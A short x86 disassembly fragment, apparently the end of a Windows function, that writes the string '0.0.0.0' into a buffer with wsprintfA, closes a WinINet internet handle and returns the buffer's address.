push str._0.0.0.0_
push 0x408188
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x408188
mov esp, ebp
pop ebp
ret